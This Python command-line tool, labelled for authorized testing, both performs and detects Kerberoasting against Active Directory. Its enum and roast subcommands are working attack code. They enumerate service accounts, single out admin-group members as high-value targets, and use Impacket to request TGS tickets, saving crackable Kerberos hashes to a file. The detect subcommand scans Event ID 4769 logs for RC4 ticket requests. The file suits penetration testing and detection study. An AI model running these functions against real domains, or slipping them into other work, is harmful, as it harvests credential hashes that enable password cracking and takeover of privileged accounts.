#!/usr/bin/env python3 """Agent for performing Kerberoasting attack simulation and detection — authorized testing only.""" import json import argparse import subprocess from pathlib import Path def enumerate_spn_accounts(domain=None): """Enumerate service principal name (SPN) accounts via LDAP query.""" cmd = ["ldapsearch", "-x", "-H", f"ldap://{domain}" if domain else "ldap://localhost", "-b", f"dc={',dc='.join(domain.split('.'))}" if domain else "", "(&(objectClass=user)(servicePrincipalName=*))", "sAMAccountName", "servicePrincipalName", "memberOf", "pwdLastSet"] try: result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) accounts = [] current = {} for line in result.stdout.splitlines(): if line.startswith("dn:"): if current: accounts.append(current) current = {"dn": line[4:].strip()} elif line.startswith("sAMAccountName:"): current["username"] = line.split(":", 1)[1].strip() elif line.startswith("servicePrincipalName:"): current.setdefault("spns", []).append(line.split(":", 1)[1].strip()) elif line.startswith("memberOf:"): current.setdefault("groups", []).append(line.split(":", 1)[1].strip()) if current and current.get("username"): accounts.append(current) high_value = [a for a in accounts if any("admin" in g.lower() for g in a.get("groups", []))] return { "domain": domain, "total_spn_accounts": len(accounts), "high_value_targets": len(high_value), "accounts": accounts[:30], } except FileNotFoundError: return _powershell_spn_enum(domain) except Exception as e: return {"error": str(e)} def _powershell_spn_enum(domain): """Fallback SPN enumeration via PowerShell Get-ADUser.""" cmd = ["powershell", "-Command", "Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties ServicePrincipalName,MemberOf,PasswordLastSet | " "Select-Object SamAccountName,ServicePrincipalName,PasswordLastSet,@{N='Groups';E={$_.MemberOf}} | " "ConvertTo-Json -Depth 3"] try: result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) data = json.loads(result.stdout) if isinstance(data, dict): data = [data] accounts = [{"username": a.get("SamAccountName"), "spns": a.get("ServicePrincipalName", []), "password_last_set": a.get("PasswordLastSet"), "groups": a.get("Groups", [])} for a in data] return {"total_spn_accounts": len(accounts), "accounts": accounts[:30]} except Exception as e: return {"error": f"PowerShell fallback failed: {e}"} def request_tgs_tickets(domain, username=None): """Request TGS tickets for Kerberoasting using Impacket GetUserSPNs.""" cmd = ["python3", "-m", "impacket.examples.GetUserSPNs", f"{domain}/", "-request", "-outputfile", "/tmp/kerberoast_hashes.txt"] if username: cmd += ["-target-user", username] try: result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) hash_file = Path("/tmp/kerberoast_hashes.txt") hashes = [] if hash_file.exists(): for line in hash_file.read_text().strip().splitlines(): if line.startswith("$krb5tgs$"): parts = line.split("$") hashes.append({"hash_type": "krb5tgs", "spn": parts[3] if len(parts) > 3 else "", "hash_preview": line[:80] + "..."}) return { "domain": domain, "hashes_captured": len(hashes), "output": result.stdout[:500], "hashes": hashes[:20], "hash_file": str(hash_file) if hashes else None, } except FileNotFoundError: return {"error": "Impacket not installed — pip install impacket"} except Exception as e: return {"error": str(e)} def analyze_kerberoast_hashes(hash_file): """Analyze captured Kerberoast hashes.""" content = Path(hash_file).read_text(encoding="utf-8", errors="replace") hashes = [line.strip() for line in content.splitlines() if line.strip().startswith("$krb5tgs$")] enc_types = {"23": 0, "17": 0, "18": 0} spns = [] for h in hashes: parts = h.split("$") if len(parts) >= 4: etype = parts[2] if len(parts) > 2 else "unknown" enc_types[etype] = enc_types.get(etype, 0) + 1 spns.append(parts[3] if len(parts) > 3 else "unknown") crackable_rc4 = enc_types.get("23", 0) return { "total_hashes": len(hashes), "encryption_types": enc_types, "rc4_crackable": crackable_rc4, "aes_hashes": enc_types.get("17", 0) + enc_types.get("18", 0), "spn_targets": spns[:20], "risk": "HIGH" if crackable_rc4 > 0 else "MEDIUM", "recommendation": "Disable RC4 (etype 23) and enforce AES encryption" if crackable_rc4 > 0 else "AES encryption in use — harder to crack", } def detect_kerberoasting(evtx_file=None): """Detect Kerberoasting from Windows Security Event ID 4769.""" if evtx_file: try: import Evtx.Evtx as evtx import xml.etree.ElementTree as ET except ImportError: return {"error": "python-evtx not installed — pip install python-evtx"} suspicious = [] with evtx.Evtx(evtx_file) as log: for record in log.records(): xml = record.xml() root = ET.fromstring(xml) ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"} event_id = root.find(".//e:EventID", ns) if event_id is not None and event_id.text == "4769": data = {d.get("Name"): d.text for d in root.findall(".//e:Data", ns)} ticket_enc = data.get("TicketEncryptionType", "") if ticket_enc == "0x17": suspicious.append({ "service": data.get("ServiceName"), "client": data.get("TargetUserName"), "ip": data.get("IpAddress"), "encryption": "RC4 (0x17)", }) return {"evtx_file": evtx_file, "suspicious_tgs_requests": len(suspicious), "events": suspicious[:20]} cmd = ["wevtutil", "qe", "Security", "/q:*[System[EventID=4769]]", "/f:text", "/c:100"] try: result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) rc4_count = result.stdout.lower().count("0x17") return {"source": "live_event_log", "total_4769_events": result.stdout.count("Event ID"), "rc4_ticket_requests": rc4_count} except Exception as e: return {"error": str(e)} def main(): parser = argparse.ArgumentParser(description="Kerberoasting Attack Agent (Authorized Testing Only)") sub = parser.add_subparsers(dest="command") e = sub.add_parser("enum", help="Enumerate SPN accounts") e.add_argument("--domain", required=True) r = sub.add_parser("roast", help="Request TGS tickets") r.add_argument("--domain", required=True) r.add_argument("--user", help="Target specific user") a = sub.add_parser("analyze", help="Analyze captured hashes") a.add_argument("--file", required=True) d = sub.add_parser("detect", help="Detect Kerberoasting") d.add_argument("--evtx", help="EVTX file to analyze") args = parser.parse_args() if args.command == "enum": result = enumerate_spn_accounts(args.domain) elif args.command == "roast": result = request_tgs_tickets(args.domain, args.user) elif args.command == "analyze": result = analyze_kerberoast_hashes(args.file) elif args.command == "detect": result = detect_kerberoasting(args.evtx) else: parser.print_help() return print(json.dumps(result, indent=2, default=str)) if __name__ == "__main__": main()